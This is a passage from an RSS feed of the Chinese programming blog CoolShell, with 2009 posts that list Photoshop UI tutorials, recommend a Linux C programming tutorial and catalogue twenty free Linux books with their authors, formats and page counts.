#e0f6ff;\">Design Agency Layout Photoshop tutorial<br />\n<img decoding=\"async\" loading=\"lazy\" style=\"display: inline; border-width: 0px;\" title=\"agency-layout\" src=\"http://www.problogdesign.com/wp-content/uploads/2009/04/agencylayout.jpg\" border=\"0\" alt=\"agency-layout\" width=\"477\" height=\"436\" /></span></a></p>\n<p><a href=\"http://www.idotutorials.com/2008/08/21/modern-web-search-bar/\"><span style=\"color: #000000; background-color: #e0f6ff;\">Modern Web Search Bar Photoshop tutorial<br />\n<img decoding=\"async\" loading=\"lazy\" style=\"display: inline; border-width: 0px;\" title=\"26searchbut\" src=\"http://www.problogdesign.com/wp-content/uploads/2009/04/26searchbut.jpg\" border=\"0\" alt=\"26searchbut\" width=\"477\" height=\"103\" /></span></a></p>\n<p><a href=\"http://www.cleardetails.com/2007/professionaldesignstudiowebtemplate2/\"><span style=\"color: #000000; background-color: #e0f6ff;\">Design a Professional Design Studio Web Template in Adobe Photoshop<br />\n<img decoding=\"async\" loading=\"lazy\" style=\"display: inline; border-width: 0px;\" title=\"finalprofdesign\" src=\"http://www.problogdesign.com/wp-content/uploads/2009/04/finalprofdesign.jpg\" border=\"0\" alt=\"finalprofdesign\" width=\"477\" height=\"335\" /></span></a></p>\n<p><a href=\"http://www.idotutorials.com/2008/10/06/create-a-professional-gaming-header/\"><span style=\"color: #000000; background-color: #e0f6ff;\">Create a Professional Gaming Header Photoshop tutorial<br />\n<img decoding=\"async\" loading=\"lazy\" style=\"display: inline; border-width: 0px;\" title=\"headertutfin\" src=\"http://www.problogdesign.com/wp-content/uploads/2009/04/headertutfin.jpg\" border=\"0\" alt=\"headertutfin\" width=\"477\" height=\"77\" /></span></a></p>\n<p><a href=\"http://psdlearning.com/2008/08/carbon-fiber-layout/\"><span style=\"color: #000000; background-color: #e0f6ff;\">Carbon Fiber Layout Photoshop tutorial<br />\n<img decoding=\"async\" loading=\"lazy\" style=\"display: inline; border-width: 0px;\" title=\"cfl28layout\" src=\"http://www.problogdesign.com/wp-content/uploads/2009/04/cfl28layout.jpg\" border=\"0\" alt=\"cfl28layout\" width=\"477\" height=\"312\" /></span></a></p>\n<p><!-- /footer1 /footer2 --><!-- /main -->也欢迎你和大家分享这里没有列出来的。</p>\n<p>文章：<a href=\"http://www.problogdesign.com/resources/35-awesome-user-interface-design-tutorials/\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/3142.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/10/UI-150x150.gif\" alt=\"用户界面和用户体验的差别\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3142.html\" class=\"wp_rp_title\">用户界面和用户体验的差别</a></li><li ><a href=\"https://coolshell.cn/articles/21672.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/12/bachelor-mechanical-eng-icon@72x-150x150.png\" alt=\"我做系统架构的一些原则\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21672.html\" class=\"wp_rp_title\">我做系统架构的一些原则</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/17737.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/03/Amazon-Web-Services-Down-150x150.png\" alt=\"AWS 的 S3 故障回顾和思考\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17737.html\" class=\"wp_rp_title\">AWS 的 S3 故障回顾和思考</a></li><li ><a href=\"https://coolshell.cn/articles/17680.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/02/gitlab-600-150x150.jpg\" alt=\"从Gitlab误删除数据库想到的\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17680.html\" class=\"wp_rp_title\">从Gitlab误删除数据库想到的</a></li><li ><a href=\"https://coolshell.cn/articles/17459.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/08/HighAvailability-BK-150x150.png\" alt=\"关于高可用的系统\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17459.html\" class=\"wp_rp_title\">关于高可用的系统</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/363.html\">35个强大的UI设计教程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/363.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>19</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Linux C 编程一站式学习</title>\n\t\t<link>https://coolshell.cn/articles/360.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/360.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 07 Apr 2009 05:47:49 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[操作系统]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=360</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>个人认为这是一个挺不错的从C语言到Linux系统开发的教程，这本是两个网上的文档。 其中 一本是《How To Think Like A Computer Sc...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/360.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/360.html\">Linux C 编程一站式学习</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>个人认为这是一个挺不错的从C语言到Linux系统开发的教程，这本是两个网上的文档。</p>\n<ul>\n<li>其中 一本是《<span class=\"term\">How To Think Like A Computer Scientist: Learning with C++</span> 》作者Allen B. Downey。原书由Green Tea Press发行，可以从<a class=\"ulink\" href=\"http://www.greenteapress.com/\" target=\"_top\">http://www.greenteapress.com/</a>下载到。</li>\n<li><span class=\"term\">另一本是：《Programming from the Ground Up: An Introduction to Programming using Linux Assembly Language》</span>作者Jonathan Bartlett。原书由Bartlett Publishing发行，可以从<a class=\"ulink\" href=\"http://savannah.nongnu.org/projects/pgubook/\" target=\"_top\">http://savannah.nongnu.org/projects/pgubook/</a>下载到。</li>\n</ul>\n<p>不过非常高兴的是有要把这两个文档都翻译成了中文。当然，翻译工作还没有完全完成，第三部分还很粗糙，错误也有不少，有待改进。第一部分和第二部分已经比较成熟，第二部分还差三章没写。不过现在可以阅读了。</p>\n<p>下面是这个文档的网站链接：</p>\n<p style=\"padding-left: 30px;\"><a href=\"http://learn.akae.cn/media/index.html\">http://learn.akae.cn/media/index.html</a></p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/9859.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/06/Alan-Cox-150x150.jpg\" alt=\"Alan Cox：单向链表中prev指针的妙用\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9859.html\" class=\"wp_rp_title\">Alan Cox：单向链表中prev指针的妙用</a></li><li ><a href=\"https://coolshell.cn/articles/8990.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg\" alt=\"Linus：利用二级指针删除单向链表\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8990.html\" class=\"wp_rp_title\">Linus：利用二级指针删除单向链表</a></li><li ><a href=\"https://coolshell.cn/articles/8088.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"对技术的态度\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8088.html\" class=\"wp_rp_title\">对技术的态度</a></li><li ><a href=\"https://coolshell.cn/articles/4990.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/07/programmer-150x150.png\" alt=\"程序员技术练级攻略\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4990.html\" class=\"wp_rp_title\">程序员技术练级攻略</a></li><li ><a href=\"https://coolshell.cn/articles/4102.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" alt=\"如何学好C语言\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4102.html\" class=\"wp_rp_title\">如何学好C语言</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/360.html\">Linux C 编程一站式学习</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/360.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>7</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>20本最好的Linux免费书籍</title>\n\t\t<link>https://coolshell.cn/articles/355.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/355.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 06 Apr 2009 12:22:35 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=355</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>前些天Neo推荐了一个网站有《超过100本的linux免费书籍》，这里，我也向大家推荐20本最好的Linux免费书籍，当然，也是英文版的。 1. Ubuntu ...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/355.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/355.html\">20本最好的Linux免费书籍</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/screenshot-linuxdevicedrivers.png\"><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-thumbnail wp-image-356\" title=\"screenshot-linuxdevicedrivers\" src=\"https://coolshell.cn/wp-content/uploads/2009/04/screenshot-linuxdevicedrivers-150x150.png\" alt=\"screenshot-linuxdevicedrivers\" width=\"150\" height=\"150\" /></a>前些天Neo推荐了一个网站有《<a class=\"title\" rel=\"bookmark\" href=\"https://coolshell.cn/articles/336.html\">超过100本的linux免费书籍</a>》，这里，我也向大家推荐20本最好的Linux免费书籍，当然，也是英文版的。</p>\n<p><strong>1. Ubuntu Pocket Guide and Reference</strong></p>\n<p style=\"PADDING-LEFT: 30px\">一本介绍关于Ubuntu 8.04和8.10的使用书。</p>\n<p style=\"PADDING-LEFT: 30px\">\n<table style=\"padding-left: 30px; width: 45.85%; height: 58px; text-align: left;\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td style=\"font-weight: bold; width: 60px;\">Website</td>\n<td><a href=\"http://www.ubuntupocketguide.com/\">www.ubuntupocketguide.com</a></td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold\">Author</td>\n<td>Keir Thomas</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold\">Format</td>\n<td>PDF</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold\">Pages</td>\n<td>152</td>\n</tr>\n</tbody>\n</table>\n<p><span id=\"more-355\"></span></p>\n<p><strong>2. Two Bits</strong></p>\n<p style=\"PADDING-LEFT: 30px\">一本关于自由软件的历史和文化的书。不当当是软件，同样也有音乐，电影，科学和教育。</p>\n<p style=\"PADDING-LEFT: 30px\">\n<table style=\"width: 100%; text-align: left;\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td style=\"font-weight: bold; width: 60px;\">Website</td>\n<td><a href=\"http://twobits.net/\">twobits.net</a></td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold\">Author</td>\n<td>Christopher M. Kelty</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold\">Format</td>\n<td>PDF</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold\">Pages</td>\n<td>400</td>\n</tr>\n</tbody>\n</table>\n<p><strong></strong></p>\n<p><strong>3. The Linux Starter Pack</strong></p>\n<p style=\"PADDING-LEFT: 30px\">一本完整的介绍如何使用Linux的书。可以让你从入门级提高到中级。主要是教你如果操作Linux桌面。</p>\n<p style=\"PADDING-LEFT: 30px\">\n<table style=\"width: 100%; text-align: left;\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td style=\"font-weight: bold; width: 60px;\">Website</td>\n<td><a href=\"http://www.tuxradar.com/linuxstarterpack\">www.tuxradar.com/linuxstarterpack</a></td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold\">Author</td>\n<td>Future Publishing</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold\">Format</td>\n<td>PDF</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold\">Pages</td>\n<td>130</td>\n</tr>\n</tbody>\n</table>\n<p><strong>4. The Easiest Linux Guide You&#8217;ll Ever Read</strong></p>\n<p style=\"PADDING-LEFT: 30px\">本书主要面对Windows的用户，本书教你如何使用linux完全一些Windows的事情。本书主要是给用户一个体验以告诉你Linux的强大和迷人。</p>\n<p style=\"PADDING-LEFT: 30px\">\n<table style=\"width: 100%; text-align: left;\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td style=\"font-weight: bold; width: 60px;\">Website</td>\n<td><a href=\"http://www.suseblog.com/my-book-the-easiest-linux-guide-youll-ever-read-an-introduction-to-linux-for-windows-users\">www.suseblog.com</a></td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold\">Author</td>\n<td>Scott Morris</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold\">Format</td>\n<td>PDF</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold\">Pages</td>\n<td>160</td>\n</tr>\n</tbody>\n</table>\n<p> </p>\n<p><strong>5. Producing Open Source Software</strong></p>\n<p style=\"PADDING-LEFT: 30px\">本书主要介绍了开源的软件方面的事情，比如一个开源的项目如何创建，如何组织，如何管理，并介绍了一些开源的文化。这不是一本技术书，这是一本管理或是介绍开源的工程书籍。</p>\n<p style=\"PADDING-LEFT: 30px\">\n<table style=\"width: 100%; text-align: left;\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td style=\"font-weight: bold; width: 60px;\">Website</td>\n<td><a href=\"http://producingoss.com/\">producingoss.com</a></td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold\">Author</td>\n<td>Karl Fogel</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold\">Format</td>\n<td>PDF, XML, Single HTML page, Multiple HTML pages</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold\">Pages</td>\n<td>192</td>\n</tr>\n</tbody>\n</table>\n<p><strong>6. Introduction to Linux &#8211; A Hands on Guide</strong></p>\n<p style=\"PADDING-LEFT: 30px\">又一本Linux的手册书，涵盖了诸如：文件系统，进程，I/O，VIM，打印，备份，网络和多媒体。</p>\n<p style=\"PADDING-LEFT: 30px\">\n<table style=\"width: 100%; text-align: left;\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td style=\"font-weight: bold; width: 60px;\">Website</td>\n<td><a href=\"http://tille.garrels.be/training/tldp/\">tille.garrels.be/training/tldp/</a></td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold\">Author</td>\n<td>Machtelt Garrels</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold\">Format</td>\n<td>PDF, HTML</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold\">Pages</td>\n<td>215</td>\n</tr>\n</tbody>\n</table>\n<p><strong>7. Bash Guide for Beginners</strong></p>\n<p style=\"PADDING-LEFT: 30px\">一本教你使用Bash编程的书。</p>\n<p style=\"PADDING-LEFT: 30px\">\n<table style=\"width: 100%; text-align: left;\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td style=\"font-weight: bold; width: 60px;\">Website</td>\n<td><a href=\"http://tille.garrels.be/training/bash/\">tille.garrels.be/training/bash</a></td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold\">Author</td>\n<td>Machtelt Garrels</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold\">Format</td>\n<td>PDF, HTML</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold\">Pages</td>\n<td>165</td>\n</tr>\n</tbody>\n</table>\n<p><strong>8. After the Software Wars</strong></p>\n<p style=\"PADDING-LEFT: 30px\">这本书描述了整个计算机软件开发中的好的和不好的东西。其中也暗示了很多今天的东西。</p>\n<p style=\"PADDING-LEFT: 30px\">\n<table style=\"width: 100%; text-align: left;\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td style=\"font-weight: bold; width: 60px;\">Website</td>\n<td><a href=\"http://www.lulu.com/content/4964815\">www.lulu.com/content/4964815</a></td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold\">Author</td>\n<td>Keith Curtis</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold\">Format</td>\n<td>PDF</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold\">Pages</td>\n<td>292</td>\n</tr>\n</tbody>\n</table>\n<p><strong>9. The Cathedral &amp; The Bazaar</strong></p>\n<p style=\"PADDING-LEFT: 30px\">这是一本关于软件工程的方法论，其主要总结了Linux内核，开源项目中带用的软件开发的方法。</p>\n<p style=\"PADDING-LEFT: 30px\">\n<table style=\"width: 100%; text-align: left;\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td style=\"font-weight: bold; width: 60px;\">Website</td>\n<td><a href=\"http://www.catb.org/~esr/writings/cathedral-bazaar/\">www.catb.org/~esr/writings/cathedral-bazaar/</a></td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold\">Author</td>\n<td>Eric S. Raymond</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold\">Format</td>\n<td>PDF, XHTML, XML, Postscript</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold\">Pages</td>\n<td>260</td>\n</tr>\n</tbody>\n</table>\n<p><strong>10. Free for All: How LINUX and the Free Software Movement Undercut the High-Tech Titans</strong></p>\n<p style=\"PADDING-LEFT: 30px\">又是一本介绍软件开发中政治方面的书。</p>\n<p style=\"PADDING-LEFT: 30px\">\n<table style=\"width: 100%; text-align: left;\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td style=\"font-weight: bold; width: 60px;\">Website</td>\n<td><a href=\"http://wayner.org/node/5\">wayner.org/node/5</a></td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold\">Author</td>\n<td>Peter Wayner</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold\">Format</td>\n<td>PDF, Zipped HTML, Palm PDB, HTML, ASCII text, XML</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold\">Pages</td>\n<td>340</td>\n</tr>\n</tbody>\n</table>\n<p><strong>11. Put Yourself in Command</strong></p>\n<p style=\"PADDING-LEFT: 30px\">介绍Linux命令的书。</p>\n<p style=\"PADDING-LEFT: 30px\">\n<table style=\"width: 100%; text-align: left;\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td style=\"font-weight: bold; width: 60px;\">Website</td>\n<td><a href=\"http://en.flossmanuals.net/gnulinux\">en.flossmanuals.net/gnulinux</a></td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold\">Author</td>\n<td>Free Software Foundation</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold\">Format</td>\n<td>PDF, Multi-page HTML</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold\">Pages</td>\n<td>136</td>\n</tr>\n</tbody>\n</table>\n<p><strong>12. Getting Started with OpenOffice.org 3.x</strong></p>\n<p style=\"PADDING-LEFT: 30px\">使用OpenOffice的书。</p>\n<p style=\"PADDING-LEFT: 30px\">\n<table style=\"width: 100%; text-align: left;\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td style=\"font-weight: bold; width: 60px;\">Website</td>\n<td><a href=\"http://documentation.openoffice.org/\">documentation.openoffice.org</a></td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold\">Author</td>\n<td>OOoAuthors group</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold\">Format</td>\n<td>PDF, Multi-page HTML</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold\">Pages</td>\n<td>433</td>\n</tr>\n</tbody>\n</table>\n<p><strong>13. Grokking the GIMP</strong></p>\n<p style=\"PADDING-LEFT: 30px\">\n<table style=\"width: 100%; text-align: left;\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td style=\"font-weight: bold; width: 60px;\">Website</td>\n<td><a href=\"http://gimp-savvy.com/BOOK/\">gimp-savvy.com/BOOK</a></td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold\">Author</td>\n<td>Carey Bunks</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold\">Format</td>\n<td>HTML</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold\">Pages</td>\n<td>352</td>\n</tr>\n</tbody>\n</table>\n<p><strong>14. The Linux Knowledge Base and Tutorial</strong></p>\n<p style=\"PADDING-LEFT: 30px\">一个Linux的技术知识库。</p>\n<p style=\"PADDING-LEFT: 30px\">\n<table style=\"width: 100%; text-align: left;\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td style=\"font-weight: bold; width: 60px;\">Website</td>\n<td><a href=\"http://sourceforge.net/projects/linkbat\">sourceforge.net/projects/linkbat</a></td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold\">Author</td>\n<td>James Mohr</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold\">Format</td>\n<td>PDF</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold\">Pages</td>\n<td>614</td>\n</tr>\n</tbody>\n</table>\n<p style=\"PADDING-LEFT: 30px\"> </p>\n<p><strong>15. Advanced Linux Programming</strong></p>\n<p style=\"PADDING-LEFT: 30px\">用大量的示例介绍了Linux下编程最重要的概念和技术。</p>\n<p style=\"PADDING-LEFT: 30px\">\n<table style=\"width: 100%; text-align: left;\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td style=\"font-weight: bold; width: 60px;\">Website</td>\n<td><a href=\"http://www.advancedlinuxprogramming.com/\">www.advancedlinuxprogramming.com</a></td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold\">Author</td>\n<td>CodeSourcery LLC</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold\">Format</td>\n<td>Multiple PDFs</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold\">Pages</td>\n<td>344</td>\n</tr>\n</tbody>\n</table>\n<p> </p>\n<p><strong>16. Linux 101 &amp; 102 Modular Training Notes</strong></p>\n<p style=\"padding-left: 30px;\">\n<table style=\"width: 100%; text-align: left;\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td style=\"font-weight: bold; width: 60px;\">Website</td>\n<td><a href=\"http://www.ledge.co.za/software/lpinotes/\">www.ledge.co.za/software/lpinotes</a></td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold\">Author</td>\n<td>Leading Edge Business Solutions</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold\">Format</td>\n<td>PDF</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold\">Pages</td>\n<td>233 (Linux 101), 236 (Linux 102)</td>\n</tr>\n</tbody>\n</table>\n<p> </p>\n<p><strong>17. Linux Device Drivers, Third Edition</strong></p>\n<p style=\"padding-left: 30px;\">介绍Linux内核2.6以上版的内核方面的驱动开发。</p>\n<p style=\"padding-left: 30px;\">\n<table style=\"width: 100%; text-align: left;\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td style=\"font-weight: bold; width: 60px;\">Website</td>\n<td><a href=\"http://oreilly.com/catalog/9780596005900/\">oreilly.com/catalog/9780596005900</a></td>\n</tr>\n<tr>\n<td style=\"font-weight: bold;\">Author</td>\n<td>Jonathan Corbet, Allesandro Rubini, Greg Kroah-Hartman</td>\n</tr>\n<tr>\n<td style=\"font-weight: bold;\">Format</td>\n<td>PDF, HTML, DocBook</td>\n</tr>\n<tr>\n<td style=\"font-weight: bold;\">Pages</td>\n<td>615</td>\n</tr>\n</tbody>\n</table>\n<p><strong>18. LINUX: Rute User&#8217;s Tutorial and Exposition</strong></p>\n<p style=\"padding-left: 30px;\">一本技术参考手册，主要面对高级系统管理员。</p>\n<p style=\"padding-left: 30px;\">\n<table style=\"width: 100%; text-align: left;\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td style=\"font-weight: bold; width: 60px;\">Website</td>\n<td><a href=\"http://linux.2038bug.com/\">linux.2038bug.com</a></td>\n</tr>\n<tr>\n<td style=\"font-weight: bold;\">Author</td>\n<td>Paul Sheer</td>\n</tr>\n<tr>\n<td style=\"font-weight: bold;\">Format</td>\n<td>PDF, HTML</td>\n</tr>\n<tr>\n<td style=\"font-weight: bold;\">Pages</td>\n<td>660</td>\n</tr>\n</tbody>\n</table>\n<p><strong>19. Linux Network Administrator&#8217;s Guide &#8211; 2nd Edition</strong></p>\n<p style=\"padding-left: 30px;\">\n<table style=\"width: 100%; text-align: left;\" 